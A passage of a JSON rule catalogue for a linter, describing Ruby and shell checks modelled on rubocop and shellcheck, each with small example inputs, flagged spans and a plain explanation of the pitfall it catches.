        "input": "def a(x, y)\n  z = 1\n  _w = y\n  puts _w\n  x\nend\n[1].each { |i| i }\n[1].each { |i| 1 }\ndef b(*)\n  [1].map { |_v| 1 }\nend\ndef c(p)\n  1\nend\ndef d(&blk)\n  yield\nend\nx, _y = [1, 2]\nputs x\nputs \"#{x}\"\nif (z ||= 1)\nend\n",
        "language": "ruby",
        "other_lines": [
          2,
          8,
          12
        ],
        "spans": [
          {
            "column": 3,
            "length": 2,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "underscore-prefixed-variable-used",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/UnderscorePrefixedVariableName",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintunderscoreprefixedvariablename"
        }
      ],
      "why": "A leading underscore tells the reader that the value is ignored. Reading it breaks that promise, and the next editor may remove the variable or the argument as unused.\n\nTo fix, drop the underscore, or stop reading the variable."
    },
    {
      "category": "cleanup",
      "default_level": "off",
      "description": "Reports a block parameter that the block never reads. Names that start with `_` and empty blocks are left alone. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def a(x, y)\n  z = 1\n  _w = y\n  puts _w\n  x\nend\n[1].each { |i| i }\n[1].each { |i| 1 }\ndef b(*)\n  [1].map { |_v| 1 }\nend\ndef c(p)\n  1\nend\ndef d(&blk)\n  yield\nend\nx, _y = [1, 2]\nputs x\nputs \"#{x}\"\nif (z ||= 1)\nend\n",
        "language": "ruby",
        "other_lines": [
          2,
          3,
          12
        ],
        "spans": [
          {
            "column": 13,
            "length": 1,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "unused-block-argument",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/UnusedBlockArgument",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintunusedblockargument"
        }
      ],
      "why": "A block parameter that is never read is a value that the block was given for nothing, or a mistake in the block. A leading `_` says that it is skipped on purpose, as when a hash is walked for its values only.\n\nTo fix, remove the parameter, or prefix its name with `_`."
    },
    {
      "category": "cleanup",
      "default_level": "off",
      "description": "Reports a method parameter that the method never reads. Names that start with `_`, empty methods and methods that only raise `NotImplementedError` are left alone. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def a(x, y)\n  z = 1\n  _w = y\n  puts _w\n  x\nend\n[1].each { |i| i }\n[1].each { |i| 1 }\ndef b(*)\n  [1].map { |_v| 1 }\nend\ndef c(p)\n  1\nend\ndef d(&blk)\n  yield\nend\nx, _y = [1, 2]\nputs x\nputs \"#{x}\"\nif (z ||= 1)\nend\n",
        "language": "ruby",
        "other_lines": [
          2,
          3,
          8
        ],
        "spans": [
          {
            "column": 7,
            "length": 1,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "unused-method-argument",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/UnusedMethodArgument",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintunusedmethodargument"
        }
      ],
      "why": "An argument that is never read is either dead (callers pass a value for nothing) or a mistake (the method was meant to use it). Naming it with a leading `_` says that it is left out on purpose, as in an override that must keep the signature.\n\nTo fix, remove the parameter, or prefix its name with `_`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a bare `private`, `protected`, `public` or `module_function` that repeats the visibility already in force, or is followed by no method definition.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A < Exception; end\nclass B < StandardError\n  def initialize(msg)\n    super(msg)\n  end\n  def foo=(_v)\n    return 1\n  end\n  def bar(a, b = 1)\n    super\n  end\n  private\n  def self.baz; end\n  private\n  def qux; end\n  public\nend\nclass C\n  def run\n    super\n  end\n  private\nend\nclass D < B\n  def initialize\n  end\nend\n[1].each { X = 1 }\n",
        "language": "ruby",
        "other_lines": [
          1,
          3,
          7,
          13,
          19,
          25,
          28
        ],
        "spans": [
          {
            "column": 3,
            "length": 7,
            "line": 14
          },
          {
            "column": 3,
            "length": 6,
            "line": 16
          },
          {
            "column": 3,
            "length": 7,
            "line": 22
          }
        ]
      },
      "fix": null,
      "id": "useless-access-modifier",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/UselessAccessModifier",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintuselessaccessmodifier"
        }
      ],
      "why": "The modifier does nothing, so a reader who relies on it believes methods are private that are not, or the other way round.\n\nTo fix, delete it, or move the methods it was meant to cover under it."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a method whose whole body is a bare `super`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A < Exception; end\nclass B < StandardError\n  def initialize(msg)\n    super(msg)\n  end\n  def foo=(_v)\n    return 1\n  end\n  def bar(a, b = 1)\n    super\n  end\n  private\n  def self.baz; end\n  private\n  def qux; end\n  public\nend\nclass C\n  def run\n    super\n  end\n  private\nend\nclass D < B\n  def initialize\n  end\nend\n[1].each { X = 1 }\n",
        "language": "ruby",
        "other_lines": [
          1,
          7,
          13,
          14,
          16,
          22,
          25,
          28
        ],
        "spans": [
          {
            "column": 3,
            "length": 1,
            "line": 3
          },
          {
            "column": 3,
            "length": 1,
            "line": 19
          }
        ]
      },
      "fix": null,
      "id": "useless-method-definition",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/UselessMethodDefinition",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintuselessmethoddefinition"
        }
      ],
      "why": "The method does what the inherited one does, so the definition adds only code.\n\nTo fix, delete the method."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports `0.times` and `1.times` with a block.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "puts [1].map { |x| x }\nraise Exception, \"m\"\nraise StandardError\nfoo (1)\nfoo (a ? b : c)\nfoo(1)\nh[x.object_id]\nh.key?(x.id)\n1.times { f }\n2.times { f }\nStruct.new(:hash, :name)\nputs \"#{x.to_s} #{y}\"\nputs x.to_s, y\nx == x\na && a\na == b\n",
        "language": "ruby",
        "other_lines": [
          1,
          2,
          4,
          7,
          11,
          12,
          13,
          14,
          15
        ],
        "spans": [
          {
            "column": 1,
            "length": 13,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "useless-times",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/UselessTimes",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintuselesstimes"
        }
      ],
      "why": "The block runs at most once, so the loop is a way to write `if`. It is usually left from a value that was a variable.\n\nTo fix, delete the loop, or call the code directly."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a list `a && b || c` of three commands, unless `c` is `echo`, `printf`, `true`, `:`, `return` or `exit`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "cat in.txt | grep x\ncat -n in.txt | grep x\ncat a b | grep x\ngrep x in.txt\necho $(date)\necho \"$(date)\"\necho `date`\necho \"$(date) now\" $x\necho \"$(date)s\"\nread line\nread -r line\nread -p \"x\" -r line\nprintf \"$fmt\"\nprintf \"%s $x\\n\" y\nprintf \"a$x\" y\nprintf '%s' \"$x\" \"a $b\"\nprintf 'literal $x'\ntrap \"rm $tmp\" EXIT\ntrap 'rm $tmp' EXIT\ntrap \"echo bye\" EXIT\nls | grep txt\nps aux | grep nginx\ngrep x f | wc -l\negrep x f\nfgrep x f\nwhich git\ntest -f x && echo yes || cleanup\ntest -f x && echo yes || echo no\n[ -n x ] && (a || b)\na && b\na || b && c\nls -l | grep txt | wc -l\nwhich git\n",
        "language": "shell",
        "other_lines": [
          1,
          5,
          6,
          7,
          10,
          13,
          15,
          18,
          21,
          22,
          23,
          24,
          25,
          26,
          32,
          33
        ],
        "spans": [
          {
            "column": 1,
            "length": 32,
            "line": 27
          }
        ]
      },
      "fix": null,
      "id": "and-or-is-not-if-else",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2015",
          "note": "Only the plain three-command list; shellcheck exempts a `true`/`:` middle command.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2015"
        }
      ],
      "why": "It looks like an if/else, but `c` runs whenever `a && b` does not succeed, and that includes the case where `a` succeeds and `b` fails. A failing `b` runs both `b` and `c`.\n\nTo fix, write an `if a; then b; else c; fi`."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a double-quoted argument that holds `$@` or `${array[@]}` among other text, as in `\"files: $@\"`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a=\"x \"\\\"\"$v\"\\\"\" y\"\nd=($(cmd \"$a\"))\nl+=($dl)\nx=($dl \"q\" \"$m\")\nflunk \"failed: $@\"\necho \"a ${s[@]} b\"\necho \"$@\" \"${s[@]}\"\nPGHOST= psql\nIFS= read -r line\nPGHOST=db psql\nunset words[0]\nunset \"words[0]\"\n[[ $a == $b ]]\n[[ $a == \"$b\" ]]\nx=$(echo $y)\nx=$(echo \"a\" | tr a b)\n[[ $(ps | grep x) ]]\nfor l in $(cat file); do :; done\nfor l in \"$@\"; do :; done\neval \"f ${args[@]}\"\nA=1 echo \"$A\"\nA=1 cmd \"$B\"\nA=1 cmd \"$A_\"\necho \"$FUNCNAME\" \"${FUNCNAME[0]}\"\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          3,
          4,
          8,
          11,
          13,
          15,
          17,
          18,
          21,
          24
        ],
        "spans": [
          {
            "column": 16,
            "length": 2,
            "line": 5
          },
          {
            "column": 9,
            "length": 7,
            "line": 6
          },
          {
            "column": 9,
            "length": 10,
            "line": 20
          }
        ]
      },
      "fix": null,
      "id": "array-in-string",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2145",
          "note": "Only the arguments of a command.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2145"
        }
      ],
      "why": "Inside a string with other text, `\"$@\"` cannot give one word to each element. The first element is joined to the text before it and the last to the text after it, and the elements in between become separate words, so the string is split in a way that is easy to misread.\n\nTo fix, use `$*` (or `${array[*]}`) to join them into one string, or put the array in a separate argument of its own."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports `$BASH_SOURCE`, `$FUNCNAME` and the other bash arrays used without a subscript.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a=\"x \"\\\"\"$v\"\\\"\" y\"\nd=($(cmd \"$a\"))\nl+=($dl)\nx=($dl \"q\" \"$m\")\nflunk \"failed: $@\"\necho \"a ${s[@]} b\"\necho \"$@\" \"${s[@]}\"\nPGHOST= psql\nIFS= read -r line\nPGHOST=db psql\nunset words[0]\nunset \"words[0]\"\n[[ $a == $b ]]\n[[ $a == \"$b\" ]]\nx=$(echo $y)\nx=$(echo \"a\" | tr a b)\n[[ $(ps | grep x) ]]\nfor l in $(cat file); do :; done\nfor l in \"$@\"; do :; done\neval \"f ${args[@]}\"\nA=1 echo \"$A\"\nA=1 cmd \"$B\"\nA=1 cmd \"$A_\"\necho \"$FUNCNAME\" \"${FUNCNAME[0]}\"\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          3,
          4,
          5,
          6,
          8,
          11,
          13,
          15,
          17,
          18,
          20,
          21
        ],
        "spans": [
          {
            "column": 7,
            "length": 9,
            "line": 24
          }
        ]
      },
      "fix": null,
      "id": "array-without-index",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2128",
          "note": "Only the bash arrays `BASH_SOURCE`, `FUNCNAME` and the like; user arrays need their declarations.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2128"
        }
      ],
      "why": "`$BASH_SOURCE` is the same as `${BASH_SOURCE[0]}`: the first element only. A reader may expect the whole array or the top of the stack, and the code is wrong when the element that was meant is another one.\n\nTo fix, write the subscript: `${BASH_SOURCE[0]}`."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports `var=value cmd \"$var\"`, where `$var` is used in the arguments of the command that the assignment is a prefix of.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a=\"x \"\\\"\"$v\"\\\"\" y\"\nd=($(cmd \"$a\"))\nl+=($dl)\nx=($dl \"q\" \"$m\")\nflunk \"failed: $@\"\necho \"a ${s[@]} b\"\necho \"$@\" \"${s[@]}\"\nPGHOST= psql\nIFS= read -r line\nPGHOST=db psql\nunset words[0]\nunset \"words[0]\"\n[[ $a == $b ]]\n[[ $a == \"$b\" ]]\nx=$(echo $y)\nx=$(echo \"a\" | tr a b)\n[[ $(ps | grep x) ]]\nfor l in $(cat file); do :; done\nfor l in \"$@\"; do :; done\neval \"f ${args[@]}\"\nA=1 echo \"$A\"\nA=1 cmd \"$B\"\nA=1 cmd \"$A_\"\necho \"$FUNCNAME\" \"${FUNCNAME[0]}\"\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          3,
          4,
          5,
          6,
          8,
          11,
          13,
          15,
          17,
          18,
          20,
          24
        ],
        "spans": [
          {
            "column": 11,
            "length": 2,
            "line": 21
          }
        ]
      },
      "fix": null,
      "id": "assignment-not-seen",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2097",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2097"
        },
        {
          "id": "SC2098",
          "note": "Only an expansion inside a double-quoted argument.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2098"
        }
      ],
      "why": "The shell expands the arguments before the command runs, and the prefix assignment takes effect only in the command's environment. `$var` in the arguments is the old value (often empty), not `value`.\n\nTo fix, assign on its own line, or read the variable inside the command."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a command prefix `var= cmd`, at the start of the command.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a=\"x \"\\\"\"$v\"\\\"\" y\"\nd=($(cmd \"$a\"))\nl+=($dl)\nx=($dl \"q\" \"$m\")\nflunk \"failed: $@\"\necho \"a ${s[@]} b\"\necho \"$@\" \"${s[@]}\"\nPGHOST= psql\nIFS= read -r line\nPGHOST=db psql\nunset words[0]\nunset \"words[0]\"\n[[ $a == $b ]]\n[[ $a == \"$b\" ]]\nx=$(echo $y)\nx=$(echo \"a\" | tr a b)\n[[ $(ps | grep x) ]]\nfor l in $(cat file); do :; done\nfor l in \"$@\"; do :; done\neval \"f ${args[@]}\"\nA=1 echo \"$A\"\nA=1 cmd \"$B\"\nA=1 cmd \"$A_\"\necho \"$FUNCNAME\" \"${FUNCNAME[0]}\"\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          3,
          4,
          5,
          6,
          11,
          13,
          15,
          17,
          18,
          20,
          21,
          24
        ],
        "spans": [
          {
            "column": 1,
            "length": 12,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "assignment-space",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC1007",
          "note": "Only a command prefix `var= cmd` (not `IFS=`), reported at the start of the command.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC1007"
        }
      ],
      "why": "The space ends the assignment, so `var` is set to the empty string for `cmd`, and `cmd` runs. `var=value cmd` was almost always meant.\n\nTo fix, remove the space, or quote the empty value if it is meant (`var=\"\" cmd`)."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports `cd`, `pushd` or `popd` whose failure is not handled, as in `cd dir || exit`. It is not reported under `set -e`, for `cd ..` or `cd /`, or for `popd -n`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "cd build\ncd .. && make\ncd /\ncd build || exit\ncd build && make\nmake && cd build\nif cd build; then make; fi\nwhile cd build; do break; done\ncd build | cat\npushd build\npopd -n\npopd\nif cd build | cat; then :; fi\n{\n\tcd build\n}\nf() { cd build; }\n",
        "language": "shell",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 2,
            "line": 1
          },
          {
            "column": 9,
            "length": 2,
            "line": 6
          },
          {
            "column": 1,
            "length": 2,
            "line": 9
          },
          {
            "column": 1,
            "length": 5,
            "line": 10
          },
          {
            "column": 1,
            "length": 4,
            "line": 12
          },
          {
            "column": 2,
            "length": 2,
            "line": 15
          },
          {
            "column": 7,
            "length": 2,
            "line": 17
          }
        ]
      },
      "fix": null,
      "id": "cd-without-exit",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2164",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2164"
        }
      ],
      "why": "If the directory is missing the script goes on in the old one, and the commands that follow (a `rm -rf *`, a build, a copy) run in the wrong place.\n\nTo fix, write `cd dir || exit 1`, or use `set -e`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports `export`, `local`, `declare`, `readonly` or `typeset` with a command substitution as the value, as in `local x=$(cmd)`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "rm $(cat list)\nrm \"$(cat list)\"\nrm a$(b) `c`\nrm '$(literal)' \"$(ok)\"\necho $((1 + 2))\ndiff <(sort a) <(sort b); echo <(date)\nrm $file ${dir}/x \"$file\" '$file' $1 $?\nrm --opt=$value \"x $y\"\ncp $@ dir\ncp \"$@\" dir \"${arr[@]}\" ${arr[@]}\ncp $* dir ${arr[*]}\nnow=`date`\necho `date` \"`date`\" 'a`b`'\n[ -n `foo` ]\n[ $x -eq 0 ]\n[[ $x = $y ]] && [[ -n $(foo) ]]\nexport out=$(make)\nlocal out=\"$(make)\" x=1\ndeclare plain=1\nfor f in $files; do :; done\n",
        "language": "shell",
        "other_lines": [
          1,
          3,
          7,
          8,
          9,
          10,
          11,
          13,
          14,
          15
        ],
        "spans": [
          {
            "column": 1,
            "length": 18,
            "line": 17
          },
          {
            "column": 1,
            "length": 23,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "declare-and-assign-separately",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2155",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2155"
        }
      ],
      "why": "The exit status of the line is that of `local`, which succeeds, and not of `cmd`. A failing command is lost, even under `set -e`.\n\nTo fix, declare first and assign on the next line: `local x; x=$(cmd)`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a command substitution that only runs `echo` on words, as in `$(echo $a $b)`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a=\"x \"\\\"\"$v\"\\\"\" y\"\nd=($(cmd \"$a\"))\nl+=($dl)\nx=($dl \"q\" \"$m\")\nflunk \"failed: $@\"\necho \"a ${s[@]} b\"\necho \"$@\" \"${s[@]}\"\nPGHOST= psql\nIFS= read -r line\nPGHOST=db psql\nunset words[0]\nunset \"words[0]\"\n[[ $a == $b ]]\n[[ $a == \"$b\" ]]\nx=$(echo $y)\nx=$(echo \"a\" | tr a b)\n[[ $(ps | grep x) ]]\nfor l in $(cat file); do :; done\nfor l in \"$@\"; do :; done\neval \"f ${args[@]}\"\nA=1 echo \"$A\"\nA=1 cmd \"$B\"\nA=1 cmd \"$A_\"\necho \"$FUNCNAME\" \"${FUNCNAME[0]}\"\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          3,
          4,
          5,
          6,
          8,
          11,
          13,
          17,
          18,
          20,
          21,
          24
        ],
        "spans": [
          {
            "column": 3,
            "length": 10,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "echo-in-substitution",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2116",
          "note": "Only `$(echo words)` with plain words.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2116"
        }
      ],
      "why": "It runs a subshell to print what the shell already has. Unquoted, it also splits and globs the words and, with some shells, interprets backslashes.\n\nTo fix, use the words directly, and quote them."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an `eval` whose argument expands an array with `[@]`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a=\"x \"\\\"\"$v\"\\\"\" y\"\nd=($(cmd \"$a\"))\nl+=($dl)\nx=($dl \"q\" \"$m\")\nflunk \"failed: $@\"\necho \"a ${s[@]} b\"\necho \"$@\" \"${s[@]}\"\nPGHOST= psql\nIFS= read -r line\nPGHOST=db psql\nunset words[0]\nunset \"words[0]\"\n[[ $a == $b ]]\n[[ $a == \"$b\" ]]\nx=$(echo $y)\nx=$(echo \"a\" | tr a b)\n[[ $(ps | grep x) ]]\nfor l in $(cat file); do :; done\nfor l in \"$@\"; do :; done\neval \"f ${args[@]}\"\nA=1 echo \"$A\"\nA=1 cmd \"$B\"\nA=1 cmd \"$A_\"\necho \"$FUNCNAME\" \"${FUNCNAME[0]}\"\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          3,
          4,
          5,
          6,
          8,
          11,
          13,
          15,
          17,
          18,
          21,
          24
        ],
        "spans": [
          {
            "column": 9,
            "length": 10,
            "line": 20
          }
        ]
      },
      "fix": null,
      "id": "eval-array",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2294",
          "note": "Only `${name[@]}` inside an `eval` command.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2294"
        }
      ],
      "why": "`eval` joins its arguments with spaces and parses the result again, so the quoting that the array elements had is lost, and an element with a space or a `;` is read as code.\n\nTo fix, avoid `eval`: run the array as a command, `\"${cmd[@]}\"`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a pipeline from `find` into `xargs` without `-print0` and `-0`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if [ $? -eq 0 ]; then :; fi\nif [ \"$?\" != 0 ]; then :; fi\n[ $x -eq 0 ]\n[ -f a -o -f b ]\n[ -a file ]\n[[ -f a && -f b ]]\n[ ! -z \"$x\" ]\n[ ! -n \"$x\" ]\n[ -z \"$x\" ]\nfor f in $(ls); do :; done\nfor f in `ls /tmp`; do :; done\nfor f in *.txt; do :; done\nfor f in $(find . -name x); do :; done\nfind . | xargs rm\nfind . -print0 | xargs -0 rm\nfind . | xargs -0 rm\nfind . -name x | wc -l\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          4,
          7,
          8,
          10,
          11,
          13
        ],
        "spans": [
          {
            "column": 1,
            "length": 17,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "find-xargs-print0",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2038",
          "note": "Only a `find ... | xargs` pipeline in one statement.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2038"
        }
      ],
      "why": "`xargs` splits its input on blanks and treats quotes and backslashes in it specially, and `find` writes one file name per line. A file name with a space, a quote or a newline is cut into pieces, and the command runs on wrong files.\n\nTo fix, use `find ... -print0 | xargs -0 ...` (or `find -exec`)."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a pipeline from `grep` into `wc -l`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "cat in.txt | grep x\ncat -n in.txt | grep x\ncat a b | grep x\ngrep x in.txt\necho $(date)\necho \"$(date)\"\necho `date`\necho \"$(date) now\" $x\necho \"$(date)s\"\nread line\nread -r line\nread -p \"x\" -r line\nprintf \"$fmt\"\nprintf \"%s $x\\n\" y\nprintf \"a$x\" y\nprintf '%s' \"$x\" \"a $b\"\nprintf 'literal $x'\ntrap \"rm $tmp\" EXIT\ntrap 'rm $tmp' EXIT\ntrap \"echo bye\" EXIT\nls | grep txt\nps aux | grep nginx\ngrep x f | wc -l\negrep x f\nfgrep x f\nwhich git\ntest -f x && echo yes || cleanup\ntest -f x && echo yes || echo no\n[ -n x ] && (a || b)\na && b\na || b && c\nls -l | grep txt | wc -l\nwhich git\n",
        "language": "shell",
        "other_lines": [
          1,
          5,
          6,
          7,
          10,
          13,
          15,
          18,
          21,
          22,
          24,
          25,
          26,
          27,
          33
        ],
        "spans": [
          {
            "column": 1,
            "length": 16,
            "line": 23
          },
          {
            "column": 1,
            "length": 24,
            "line": 32
          }
        ]
      },
      "fix": null,
      "id": "grep-count",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2126",
          "note": "Only a pipeline that is the `grep` and the `wc -l`.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2126"
        }
      ],
      "why": "`grep -c` counts the matching lines in one process and has no pipe.\n\nTo fix, write `grep -c`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `for` loop over the output of `cat`, `sort`, `sed`, `head` or `tail`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a=\"x \"\\\"\"$v\"\\\"\" y\"\nd=($(cmd \"$a\"))\nl+=($dl)\nx=($dl \"q\" \"$m\")\nflunk \"failed: $@\"\necho \"a ${s[@]} b\"\necho \"$@\" \"${s[@]}\"\nPGHOST= psql\nIFS= read -r line\nPGHOST=db psql\nunset words[0]\nunset \"words[0]\"\n[[ $a == $b ]]\n[[ $a == \"$b\" ]]\nx=$(echo $y)\nx=$(echo \"a\" | tr a b)\n[[ $(ps | grep x) ]]\nfor l in $(cat file); do :; done\nfor l in \"$@\"; do :; done\neval \"f ${args[@]}\"\nA=1 echo \"$A\"\nA=1 cmd \"$B\"\nA=1 cmd \"$A_\"\necho \"$FUNCNAME\" \"${FUNCNAME[0]}\"\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          3,
          4,
          5,
          6,
          8,
          11,
          13,
          15,
          17,
          20,
          21,
          24
        ],
        "spans": [
          {
            "column": 1,
            "length": 32,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "iterate-file-output",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2013",
          "note": "Only a `for` over `cat`, `sort`, `sed`, `head` or `tail` output.",
          "partial": true,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2013"
        }
      ],
      "why": "The output is split on blanks and globbed, not on lines, so a line with a space becomes several items, and a `*` in the file expands to file names.\n\nTo fix, read lines: `while IFS= read -r line; do ...; done < file`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `for` loop over the output of `find`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if [ $? -eq 0 ]; then :; fi\nif [ \"$?\" != 0 ]; then :; fi\n[ $x -eq 0 ]\n[ -f a -o -f b ]\n[ -a file ]\n[[ -f a && -f b ]]\n[ ! -z \"$x\" ]\n[ ! -n \"$x\" ]\n[ -z \"$x\" ]\nfor f in $(ls); do :; done\nfor f in `ls /tmp`; do :; done\nfor f in *.txt; do :; done\nfor f in $(find . -name x); do :; done\nfind . | xargs rm\nfind . -print0 | xargs -0 rm\nfind . | xargs -0 rm\nfind . -name x | wc -l\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          4,
          7,
          8,
          10,
          11,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 38,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "iterate-find-output",
      "languages": [
        "shell"
      ],
      "options": [],
      "presets": [
        "shell/shellcheck"
      ],
      "upstream": [
        {
          "id": "SC2044",
          "partial": false,
          "tool": "shellcheck",
          "url": "https://www.shellcheck.net/wiki/SC2044"
        }
      ],
      "why": "The output is split on blanks and globbed, so a file name with a space is cut into several items, and one with a `*` or `?` expands to other names.\n\nTo fix, use `find ... -exec`, or `find ... -print0 | while IFS= read -r -d '' f`, or a glob (`for f in ./*`)."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `for` loop over the output of `ls`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if [ $? -eq 0 ]; then :; fi\nif [ \"$?\" != 0 ]; then :; fi\n[ $x -eq 0 ]\n[ -f a -o -f b ]\n[ -a file ]\n[[ -f a && -f b ]]\n[ ! -z \"$x\" ]\n[ ! -n \"$x\" ]\n[ -z \"$x\" ]\nfor f in $(ls); do :; done\nfor f in `ls /tmp`; do :; done\nfor f in *.txt; do :; done\nfor f in $(find . -name x); do :; done\nfind . | xargs rm\nfind . -print0 | xargs -0 rm\nfind . | xargs -0 rm\nfind . -name x | wc -l\n",
        "language": "shell",
        "other_lines": [
          1,
          2,
          4,
          7,
          8,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 26,
            "line": 10
          },
          {
            "column": 1,
            "length": 30,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "iterate-ls-output",
      "languages": [
